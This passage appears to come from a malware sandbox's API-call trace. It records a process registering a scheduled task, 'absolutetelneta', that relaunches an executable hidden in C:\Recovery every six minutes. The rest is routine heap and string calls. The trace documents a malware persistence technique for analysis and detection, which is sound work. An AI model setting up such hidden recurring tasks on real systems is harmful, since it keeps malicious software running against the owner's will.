returned 2 [0144.273] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.273] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0144.273] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0144.273] GetProcessHeap () returned 0x2b0000 [0144.273] GetProcessHeap () returned 0x2b0000 [0144.273] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd590) returned 1 [0144.273] GetProcessHeap () returned 0x2b0000 [0144.273] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd590) returned 0xc [0144.274] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd590 | out: hHeap=0x2b0000) returned 1 [0144.274] GetProcessHeap () returned 0x2b0000 [0144.274] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x16) returned 0x2cd590 [0144.274] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x21c660, cchData=128 | out: lpLCData="0") returned 2 [0144.274] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.274] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0144.274] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0144.274] GetProcessHeap () returned 0x2b0000 [0144.274] GetProcessHeap () returned 0x2b0000 [0144.274] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5b0) returned 1 [0144.274] GetProcessHeap () returned 0x2b0000 [0144.274] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd5b0) returned 0xe [0144.274] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5b0 | out: hHeap=0x2b0000) returned 1 [0144.274] GetProcessHeap () returned 0x2b0000 [0144.274] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x16) returned 0x2cd5b0 [0144.274] GetLocalTime (in: lpSystemTime=0x21c890 | out: lpSystemTime=0x21c890*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x7, wMilliseconds=0x10c)) [0144.275] lstrlenW (lpString="") returned 0 [0144.275] GetLocalTime (in: lpSystemTime=0x21d148 | out: lpSystemTime=0x21d148*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x7, wMilliseconds=0x10c)) [0144.275] lstrlenW (lpString="") returned 0 [0144.275] lstrlenW (lpString="") returned 0 [0144.275] lstrlenW (lpString="") returned 0 [0144.275] lstrlenW (lpString="") returned 0 [0144.275] lstrlenW (lpString="6") returned 1 [0144.275] _wtol (_String="6") returned 6 [0144.275] lstrlenW (lpString="") returned 0 [0144.275] lstrlenW (lpString="") returned 0 [0144.275] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0144.383] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0144.919] CoCreateInstance (in: rclsid=0xfff91ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xfff91ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x21cf10 | out: ppv=0x21cf10*=0x157b00) returned 0x0 [0144.929] TaskScheduler:ITaskService:Connect (This=0x157b00, serverName=0x21cff0*(varType=0x8, wReserved1=0x21, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x21cfb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x21cfd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21cf90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0145.108] TaskScheduler:IUnknown:AddRef (This=0x157b00) returned 0x2 [0145.108] TaskScheduler:ITaskService:GetFolder (in: This=0x157b00, Path=0x0, ppFolder=0x21d0a8 | out: ppFolder=0x21d0a8*=0x157d30) returned 0x0 [0145.111] TaskScheduler:ITaskService:NewTask (in: This=0x157b00, flags=0x0, ppDefinition=0x21d0a0 | out: ppDefinition=0x21d0a0*=0x157d80) returned 0x0 [0145.111] ITaskDefinition:get_Actions (in: This=0x157d80, ppActions=0x21d020 | out: ppActions=0x21d020*=0x157e40) returned 0x0 [0145.111] IActionCollection:Create (in: This=0x157e40, Type=0, ppAction=0x21d040 | out: ppAction=0x21d040*=0x156680) returned 0x0 [0145.111] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.111] lstrlenW (lpString="'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'") returned 69 [0145.111] lstrlenW (lpString=" ") returned 1 [0145.111] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0145.111] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0145.111] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0145.111] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x52) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x79) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x34) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0145.112] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x62) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0145.113] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0145.113] IUnknown:Release (This=0x156680) returned 0x1 [0145.113] IUnknown:Release (This=0x157e40) returned 0x1 [0145.113] ITaskDefinition:get_Triggers (in: This=0x157d80, ppTriggers=0x21cba0 | out: ppTriggers=0x21cba0*=0x1563f0) returned 0x0 [0145.114] ITriggerCollection:Create (in: This=0x1563f0, Type=1, ppTrigger=0x21cb98 | out: ppTrigger=0x21cb98*=0x1566f0) returned 0x0 [0145.114] lstrlenW (lpString="6") returned 1 [0145.114] _vsnwprintf (in: _Buffer=0x21cb20, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x21cb18 | out: _Buffer="PT6M") returned 4 [0145.114] ITrigger:get_Repetition (in: This=0x1566f0, ppRepeat=0x21cb90 | out: ppRepeat=0x21cb90*=0x156780) returned 0x0 [0145.114] IRepetitionPattern:put_Interval (This=0x156780, Interval="PT6M") returned 0x0 [0145.114] IUnknown:Release (This=0x156780) returned 0x1 [0145.114] _vsnwprintf (in: _Buffer=0x21cae0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x21cab8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0145.114] ITrigger:put_StartBoundary (This=0x1566f0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0145.114] lstrlenW (lpString="") returned 0 [0145.114] lstrlenW (lpString="") returned 0 [0145.114] lstrlenW (lpString="") returned 0 [0145.114] lstrlenW (lpString="") returned 0 [0145.115] IUnknown:Release (This=0x1566f0) returned 0x1 [0145.115] IUnknown:Release (This=0x1563f0) returned 0x1 [0145.115] ITaskDefinition:get_Settings (in: This=0x157d80, ppSettings=0x21d040 | out: ppSettings=0x21d040*=0x156460) returned 0x0 [0145.115] lstrlenW (lpString="") returned 0 [0145.115] IUnknown:Release (This=0x156460) returned 0x1 [0145.115] GetLocalTime (in: lpSystemTime=0x21cef8 | out: lpSystemTime=0x21cef8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x7, wMilliseconds=0x2a1)) [0145.115] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0145.115] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0145.115] GetUserNameW (in: lpBuffer=0x21cf20, pcbBuffer=0x21cf08 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x21cf08) returned 1 [0145.116] ITaskDefinition:get_RegistrationInfo (in: This=0x157d80, ppRegistrationInfo=0x21cef0 | out: ppRegistrationInfo=0x21cef0*=0x157ec0) returned 0x0 [0145.116] IRegistrationInfo:put_Author (This=0x157ec0, Author="") returned 0x0 [0145.116] _vsnwprintf (in: _Buffer=0x21cf20, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x21ceb8 | out: _Buffer="2022-08-06T02:19:07") returned 19 [0145.116] IRegistrationInfo:put_Date (This=0x157ec0, Date="") returned 0x0 [0145.116] IUnknown:Release (This=0x157ec0) returned 0x1 [0145.116] malloc (_Size=0x18) returned 0x157ce0 [0145.116] free (_Block=0x157ce0) [0145.116] lstrlenW (lpString="") returned 0 [0145.116] malloc (_Size=0x18) returned 0x157ce0 [0145.117] ITaskFolder:RegisterTaskDefinition (in: This=0x157d30, Path="absolutetelneta", pDefinition=0x157d80, flags=6, UserId=0x21d190*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x21d1d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21f0a0, varVal2=0xfe), LogonType=3, sddl=0x21d1b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x21d0b0 | out: ppTask=0x21d0b0*=0x156920) returned 0x0 [0145.867] free (_Block=0x157ce0) [0145.867] _memicmp (_Buf1=0x2cbae0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.867] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x2cd2d0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0145.867] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0145.867] GetProcessHeap () returned 0x2b0000 [0145.867] GetProcessHeap () returned 0x2b0000 [0145.867] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5d0) returned 1 [0145.867] GetProcessHeap () returned 0x2b0000 [0145.867] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd5d0) returned 0xc [0145.867] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd5d0 | out: hHeap=0x2b0000) returned 1 [0145.867] GetProcessHeap () returned 0x2b0000 [0145.867] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x82) returned 0x2e9c60 [0145.867] _vsnwprintf (in: _Buffer=0x21d7f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x21d058 | out: _Buffer="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n") returned 77 [0145.867] _fileno (_File=0x7fefed02ab0) returned -2 [0145.868] _errno () returned 0x154bb0 [0145.868] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0145.868] SetLastError (dwErrCode=0x6) [0145.868] lstrlenW (lpString="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n") returned 77 [0145.868] GetConsoleOutputCP () returned 0x0 [0145.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0145.868] GetConsoleOutputCP () returned 0x0 [0145.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0145.868] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 77 [0145.869] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0145.869] IUnknown:Release (This=0x156920) returned 0x0 [0145.869] TaskScheduler:IUnknown:Release (This=0x157d80) returned 0x0 [0145.869] TaskScheduler:IUnknown:Release (This=0x157d30) returned 0x0 [0145.869] TaskScheduler:IUnknown:Release (This=0x157b00) returned 0x1 [0145.869] lstrlenW (lpString="") returned 0 [0145.869] lstrlenW (lpString="6") returned 1 [0145.869] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0145.869] GetProcessHeap () returned 0x2b0000 [0145.869] GetProcessHeap () returned 0x2b0000 [0145.869] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc440) returned 1 [0145.869] GetProcessHeap () returned 0x2b0000 [0145.869] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc440) returned 0x1fc [0145.870] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc440 | out: hHeap=0x2b0000) returned 1 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc210) returned 1 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc210) returned 0x4 [0145.870] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc210 | out: hHeap=0x2b0000) returned 1 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd530) returned 1 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd530) returned 0x16 [0145.870] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd530 | out: hHeap=0x2b0000) returned 1 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd510) returned 1 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd510) returned 0x18 [0145.870] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd510 | out: hHeap=0x2b0000) returned 1 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccdd0) returned 1 [0145.870] GetProcessHeap () returned 0x2b0000 [0145.870] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccdd0) returned 0x20 [0145.871] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccdd0 | out: hHeap=0x2b0000) returned 1 [0145.871] GetProcessHeap () returned 0x2b0000 [0145.871] GetProcessHeap () returned 0x2b0000 [0145.871] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc040) returned 1 [0145.871] GetProcessHeap () returned 0x2b0000 [0145.871] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc040) returned 0xa0 [0145.871] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc040 | out: hHeap=0x2b0000) returned 1 [0145.871] GetProcessHeap () returned 0x2b0000 [0145.871] GetProcessHeap () returned 0x2b0000 [0145.871] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbac0) returned 1 [0145.871] GetProcessHeap () returned 0x2b0000 [0145.871] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbac0) returned 0x18 [0145.871] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbac0 | out: hHeap=0x2b0000) returned 1 [0145.871] GetProcessHeap () returned 0x2b0000 [0145.871] GetProcessHeap () returned 0x2b0000 [0145.871] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb60) returned 1 [0145.871] GetProcessHeap () returned 0x2b0000 [0145.871] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccb60) returned 0x20 [0145.872] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb60 | out: hHeap=0x2b0000) returned 1 [0145.872] GetProcessHeap () returned 0x2b0000 [0145.872] GetProcessHeap () returned 0x2b0000 [0145.872] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc2a0) returned 1 [0145.872] GetProcessHeap () returned 0x2b0000 [0145.872] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc2a0) returned 0x8c [0145.876] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc2a0 | out: hHeap=0x2b0000) returned 1 [0145.876] GetProcessHeap () returned 0x2b0000 [0145.876] GetProcessHeap () returned 0x2b0000 [0145.876] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd550) returned 1 [0145.876] GetProcessHeap () returned 0x2b0000 [0145.876] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd550) returned 0x18 [0145.876] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd550 | out: hHeap=0x2b0000) returned 1 [0145.876] GetProcessHeap () returned 0x2b0000 [0145.876] GetProcessHeap () returned 0x2b0000 [0145.876] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb30) returned 1 [0145.876] GetProcessHeap () returned 0x2b0000 [0145.876] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccb30) returned 0x20 [0145.877] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb30 | out: hHeap=0x2b0000) returned 1 [0145.877] GetProcessHeap () returned 0x2b0000 [0145.877] GetProcessHeap () returned 0x2b0000 [0145.877] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc3a0) returned 1 [0145.877] GetProcessHeap () returned 0x2b0000 [0145.877] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc3a0) returned 0x8e [0145.877] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc3a0 | out: hHeap=0x2b0000) returned 1 [0145.877] GetProcessHeap () returned 0x2b0000 [0145.877] GetProcessHeap () returned 0x2b0000 [0145.877] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc380) returned 1 [0145.877] GetProcessHeap () returned 0x2b0000 [0145.877] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc380) returned 0x18 [0145.877] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc380 | out: hHeap=0x2b0000) returned 1 [0145.877] GetProcessHeap () returned 0x2b0000 [0145.877] GetProcessHeap () returned 0x2b0000 [0145.877] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb00) returned 1 [0145.877] GetProcessHeap () returned 0x2b0000 [0145.878] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2ccb00) returned 0x20 [0145.878] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2ccb00 | out: hHeap=0x2b0000) returned 1 [0145.878] GetProcessHeap () returned 0x2b0000 [0145.878] GetProcessHeap () returned 0x2b0000 [0145.878] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc360) returned 1 [0145.878] GetProcessHeap () returned 0x2b0000 [0145.878] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc360) returned 0xe [0145.878] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc360 | out: hHeap=0x2b0000) returned 1 [0145.878] GetProcessHeap () returned 0x2b0000 [0145.878] GetProcessHeap () returned 0x2b0000 [0145.878] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc340) returned 1 [0145.878] GetProcessHeap () returned 0x2b0000 [0145.878] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cc340) returned 0x18 [0145.878] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc340 | out: hHeap=0x2b0000) returned 1 [0145.878] GetProcessHeap () returned 0x2b0000 [0145.878] GetProcessHeap () returned 0x2b0000 [0145.878] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5da0) returned 1 [0145.878] GetProcessHeap () returned 0x2b0000 [0145.878] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5da0) returned 0x20 [0145.879] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5da0 | out: hHeap=0x2b0000) returned 1 [0145.879] GetProcessHeap () returned 0x2b0000 [0145.879] GetProcessHeap () returned 0x2b0000 [0145.879] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbc40) returned 1 [0145.879] GetProcessHeap () returned 0x2b0000 [0145.879] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbc40) returned 0x208 [0145.879] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbc40 | out: hHeap=0x2b0000) returned 1 [0145.879] GetProcessHeap () returned 0x2b0000 [0145.879] GetProcessHeap () returned 0x2b0000 [0145.879] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbaa0) returned 1 [0145.879] GetProcessHeap () returned 0x2b0000 [0145.879] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbaa0) returned 0x18 [0145.879] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbaa0 | out: hHeap=0x2b0000) returned 1 [0145.879] GetProcessHeap () returned 0x2b0000 [0145.879] GetProcessHeap () returned 0x2b0000 [0145.879] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5cb0) returned 1 [0145.880] GetProcessHeap () returned 0x2b0000 [0145.880] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2c5cb0) returned 0x20 [0145.880] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5cb0 | out: hHeap=0x2b0000) returned 1 [0145.880] GetProcessHeap () returned 0x2b0000 [0145.880] GetProcessHeap () returned 0x2b0000 [0145.880] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd2d0) returned 1 [0145.880] GetProcessHeap () returned 0x2b0000 [0145.880] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd2d0) returned 0x200 [0145.880] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd2d0 | out: hHeap=0x2b0000) returned 1 [0145.880] GetProcessHeap () returned 0x2b0000 [0145.881] GetProcessHeap () returned 0x2b0000 [0145.881] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbae0) returned 1 [0145.881] GetProcessHeap () returned 0x2b0000 [0145.881] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cbae0) returned 0x18 [0145.881] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cbae0 | out: hHeap=0x2b0000) returned 1 [0145.881] GetProcessHeap () returned 0x2b0000 [0145.881] GetProcessHeap () returned 0x2b0000 [0145.881] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2c5c20) returned 1 [0145.881] GetProcessHeap () returned 0x2b0000 [0145.881] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, 